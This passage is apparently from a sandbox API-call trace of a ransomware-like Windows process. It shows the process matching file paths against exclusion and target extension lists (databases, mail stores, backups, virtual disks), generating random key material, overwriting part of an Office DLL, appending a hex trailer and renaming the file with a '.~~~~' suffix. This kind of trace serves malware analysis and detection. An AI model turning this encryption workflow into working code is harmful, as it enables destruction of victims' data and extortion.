	[0079.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".SDF") returned 0x0
	[0079.344] lstrlenW (lpString=".dtxs") returned 5
	[0079.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".dtxs") returned 0x0
	[0079.344] lstrlenW (lpString=".db3") returned 4
	[0079.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".db3") returned 0x0
	[0079.344] lstrlenW (lpString=".OST") returned 4
	[0079.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".OST") returned 0x0
	[0079.344] lstrlenW (lpString=".dbx") returned 4
	[0079.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".dbx") returned 0x0
	[0079.344] lstrlenW (lpString=".DB3") returned 4
	[0079.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".DB3") returned 0x0
	[0079.344] lstrlenW (lpString=".DAT") returned 4
	[0079.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".DAT") returned 0x0
	[0079.344] lstrlenW (lpString=".VHDX") returned 5
	[0079.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".VHDX") returned 0x0
	[0079.344] lstrlenW (lpString=".ndf") returned 4
	[0079.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".ndf") returned 0x0
	[0079.344] lstrlenW (lpString=".DB") returned 3
	[0079.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".DB") returned 0x0
	[0079.345] lstrlenW (lpString=".sql") returned 4
	[0079.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".sql") returned 0x0
	[0079.345] lstrlenW (lpString=".MYD") returned 4
	[0079.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".MYD") returned 0x0
	[0079.345] lstrlenW (lpString=".DBT") returned 4
	[0079.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".DBT") returned 0x0
	[0079.345] lstrlenW (lpString=".ACCDB") returned 6
	[0079.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".ACCDB") returned 0x0
	[0079.345] lstrlenW (lpString=".fdb") returned 4
	[0079.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".fdb") returned 0x0
	[0079.345] lstrlenW (lpString=".bak") returned 4
	[0079.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".bak") returned 0x0
	[0079.345] lstrlenW (lpString=".myd") returned 4
	[0079.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".myd") returned 0x0
	[0079.345] lstrlenW (lpString=".DTXS") returned 5
	[0079.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".DTXS") returned 0x0
	[0079.345] lstrlenW (lpString=".ckp") returned 4
	[0079.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".ckp") returned 0x0
	[0079.345] lstrlenW (lpString=".dbt") returned 4
	[0079.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".dbt") returned 0x0
	[0079.345] lstrlenW (lpString=".db") returned 3
	[0079.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".db") returned 0x0
	[0079.345] lstrlenW (lpString=".TXT") returned 4
	[0079.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".TXT") returned 0x0
	[0079.345] lstrlenW (lpString=".MDF") returned 4
	[0079.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".MDF") returned 0x0
	[0079.345] lstrlenW (lpString=".bdb") returned 4
	[0079.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".bdb") returned 0x0
	[0079.346] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0079.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0079.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0079.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0079.346] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0079.347] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0079.347] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0079.347] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0079.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0079.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0079.347] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=19933705851) returned 1
	[0079.347] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x99270f90, dwHighDateTime=0x1d60e1e)) 
	[0079.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0079.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0079.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0079.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b6b0
	[0079.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0079.347] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b6b0 | out: hHeap=0x300000) returned 1
	[0079.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0079.347] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0079.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6fe8
	[0079.347] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0079.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fafe0
	[0079.347] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6fe8 | out: hHeap=0x300000) returned 1
	[0079.348] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0079.348] GetLastError () returned 0x0
	[0079.348] GetLastError () returned 0x0
	[0079.348] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0079.348] GetLastError () returned 0x0
	[0079.348] GetLastError () returned 0x0
	[0079.349] ReadFile (in: hFile=0x118, lpBuffer=0x283dfe0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.375] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0079.375] WriteFile (in: hFile=0x118, lpBuffer=0x283dfe0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283dfe0 | out: hHeap=0x300000) returned 1
	[0079.378] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.378] WriteFile (in: hFile=0x118, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0079.384] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0079.384] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0079.384] CloseHandle (hObject=0x118) returned 1
	[0079.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6fe8
	[0079.385] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll.~~~~")) returned 1
	[0079.386] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6fe8 | out: hHeap=0x300000) returned 1
	[0079.386] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0079.386] GetLastError () returned 0x0
	[0079.386] RtlWakeConditionVariable () returned 0x365f70
	[0079.386] GetCurrentThreadId () returned 0xaf0
	[0079.386] GetCurrentThreadId () returned 0xaf0
	[0079.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2290
	[0079.386] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fb240 | out: hHeap=0x300000) returned 1
	[0079.386] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b6e8 | out: hHeap=0x300000) returned 1
	[0079.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb240
	[0079.387] lstrlenW (lpString=".scr") returned 4
	[0079.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".scr") returned 0x0
	[0079.387] lstrlenW (lpString=".cmd") returned 4
	[0079.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".cmd") returned 0x0
	[0079.387] lstrlenW (lpString=".dll") returned 4
	[0079.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".dll") returned 0x0
	[0079.387] lstrlenW (lpString=".bat") returned 4
	[0079.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".bat") returned 0x0
	[0079.387] lstrlenW (lpString=".cpl") returned 4
	[0079.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".cpl") returned 0x0
	[0079.387] lstrlenW (lpString=".sys") returned 4
	[0079.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".sys") returned 0x0
	[0079.387] lstrlenW (lpString=".msc") returned 4
	[0079.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".msc") returned 0x0
	[0079.387] lstrlenW (lpString=".com") returned 4
	[0079.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".com") returned 0x0
	[0079.387] lstrlenW (lpString=".lnk") returned 4
	[0079.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".lnk") returned 0x0
	[0079.387] lstrlenW (lpString=".msp") returned 4
	[0079.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".msp") returned 0x0
	[0079.387] lstrlenW (lpString=".pif") returned 4
	[0079.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".pif") returned 0x0
	[0079.388] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0079.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0079.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0079.389] lstrlenW (lpString=".sqb") returned 4
	[0079.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".sqb") returned 0x0
	[0079.389] lstrlenW (lpString=".ost") returned 4
	[0079.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".ost") returned 0x0
	[0079.389] lstrlenW (lpString=".txt") returned 4
	[0079.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".txt") returned 0x0
	[0079.389] lstrlenW (lpString=".mdt") returned 4
	[0079.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".mdt") returned 0x0
	[0079.389] lstrlenW (lpString=".BDB") returned 4
	[0079.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".BDB") returned 0x0
	[0079.390] lstrlenW (lpString=".eql") returned 4
	[0079.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".eql") returned 0x0
	[0079.390] lstrlenW (lpString=".DBF") returned 4
	[0079.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".DBF") returned 0x0
	[0079.390] lstrlenW (lpString=".EQL") returned 4
	[0079.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".EQL") returned 0x0
	[0079.390] lstrlenW (lpString=".FDB") returned 4
	[0079.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".FDB") returned 0x0
	[0079.390] lstrlenW (lpString=".EDB") returned 4
	[0079.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".EDB") returned 0x0
	[0079.390] lstrlenW (lpString=".DACPAC") returned 7
	[0079.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".DACPAC") returned 0x0
	[0079.390] lstrlenW (lpString=".VHD") returned 4
	[0079.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".VHD") returned 0x0
	[0079.390] lstrlenW (lpString=".DBV") returned 4
	[0079.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".DBV") returned 0x0
	[0079.390] lstrlenW (lpString=".dacpac") returned 7
	[0079.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".dacpac") returned 0x0
	[0079.390] lstrlenW (lpString=".sdf") returned 4
	[0079.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".sdf") returned 0x0
	[0079.390] lstrlenW (lpString=".accdb") returned 6
	[0079.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".accdb") returned 0x0
	[0079.390] lstrlenW (lpString=".DBX") returned 4
	[0079.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".DBX") returned 0x0
	[0079.390] lstrlenW (lpString=".MDT") returned 4
	[0079.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".MDT") returned 0x0
	[0079.391] lstrlenW (lpString=".SQB") returned 4
	[0079.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".SQB") returned 0x0
	[0079.391] lstrlenW (lpString=".vhd") returned 4
	[0079.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".vhd") returned 0x0
	[0079.391] lstrlenW (lpString=".bac") returned 4
	[0079.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".bac") returned 0x0
	[0079.391] lstrlenW (lpString=".mdf") returned 4
	[0079.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".mdf") returned 0x0
	[0079.391] lstrlenW (lpString=".BAK") returned 4
	[0079.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".BAK") returned 0x0
	[0079.391] lstrlenW (lpString=".BAC") returned 4
	[0079.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".BAC") returned 0x0
	[0079.391] lstrlenW (lpString=".dbs") returned 4
	[0079.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".dbs") returned 0x0
	[0079.391] lstrlenW (lpString=".vhdx") returned 5
	[0079.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".vhdx") returned 0x0
	[0079.391] lstrlenW (lpString=".NDF") returned 4
	[0079.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".NDF") returned 0x0
	[0079.391] lstrlenW (lpString=".dat") returned 4
	[0079.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".dat") returned 0x0
	[0079.391] lstrlenW (lpString=".DBS") returned 4
	[0079.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".DBS") returned 0x0
	[0079.391] lstrlenW (lpString=".CKP") returned 4
	[0079.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".CKP") returned 0x0
	[0079.392] lstrlenW (lpString=".edb") returned 4
	[0079.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".edb") returned 0x0
	[0079.392] lstrlenW (lpString=".PST") returned 4
	[0079.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".PST") returned 0x0
	[0079.392] lstrlenW (lpString=".dbf") returned 4
	[0079.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".dbf") returned 0x0
	[0079.392] lstrlenW (lpString=".SQL") returned 4
	[0079.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".SQL") returned 0x0
	[0079.392] lstrlenW (lpString=".pst") returned 4
	[0079.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".pst") returned 0x0
	[0079.392] lstrlenW (lpString=".dbv") returned 4
	[0079.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".dbv") returned 0x0
	[0079.392] lstrlenW (lpString=".SDF") returned 4
	[0079.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".SDF") returned 0x0
	[0079.392] lstrlenW (lpString=".dtxs") returned 5
	[0079.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".dtxs") returned 0x0
	[0079.392] lstrlenW (lpString=".db3") returned 4
	[0079.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".db3") returned 0x0
	[0079.392] lstrlenW (lpString=".OST") returned 4
	[0079.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".OST") returned 0x0
	[0079.392] lstrlenW (lpString=".dbx") returned 4
	[0079.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".dbx") returned 0x0
	[0079.392] lstrlenW (lpString=".DB3") returned 4
	[0079.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".DB3") returned 0x0
	[0079.392] lstrlenW (lpString=".DAT") returned 4
	[0079.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".DAT") returned 0x0
	[0079.392] lstrlenW (lpString=".VHDX") returned 5
	[0079.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".VHDX") returned 0x0
	[0079.393] lstrlenW (lpString=".ndf") returned 4
	[0079.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".ndf") returned 0x0
	[0079.393] lstrlenW (lpString=".DB") returned 3
	[0079.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".DB") returned 0x0
	[0079.393] lstrlenW (lpString=".sql") returned 4
	[0079.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".sql") returned 0x0
	[0079.393] lstrlenW (lpString=".MYD") returned 4
	[0079.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".MYD") returned 0x0
	[0079.393] lstrlenW (lpString=".DBT") returned 4
	[0079.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".DBT") returned 0x0
	[0079.393] lstrlenW (lpString=".ACCDB") returned 6
	[0079.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".ACCDB") returned 0x0
	[0079.393] lstrlenW (lpString=".fdb") returned 4
	[0079.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".fdb") returned 0x0
	[0079.393] lstrlenW (lpString=".bak") returned 4
	[0079.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".bak") returned 0x0
	[0079.393] lstrlenW (lpString=".myd") returned 4
	[0079.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".myd") returned 0x0
	[0079.393] lstrlenW (lpString=".DTXS") returned 5
	[0079.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".DTXS") returned 0x0
	[0079.393] lstrlenW (lpString=".ckp") returned 4
	[0079.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".ckp") returned 0x0
	[0079.393] lstrlenW (lpString=".dbt") returned 4
	[0079.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".dbt") returned 0x0
	[0079.393] lstrlenW (lpString=".db") returned 3
	[0079.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL", lpSrch=".db") returned 0x0
	[0079.394] lstrlenW (lpString=".TXT") returned 4
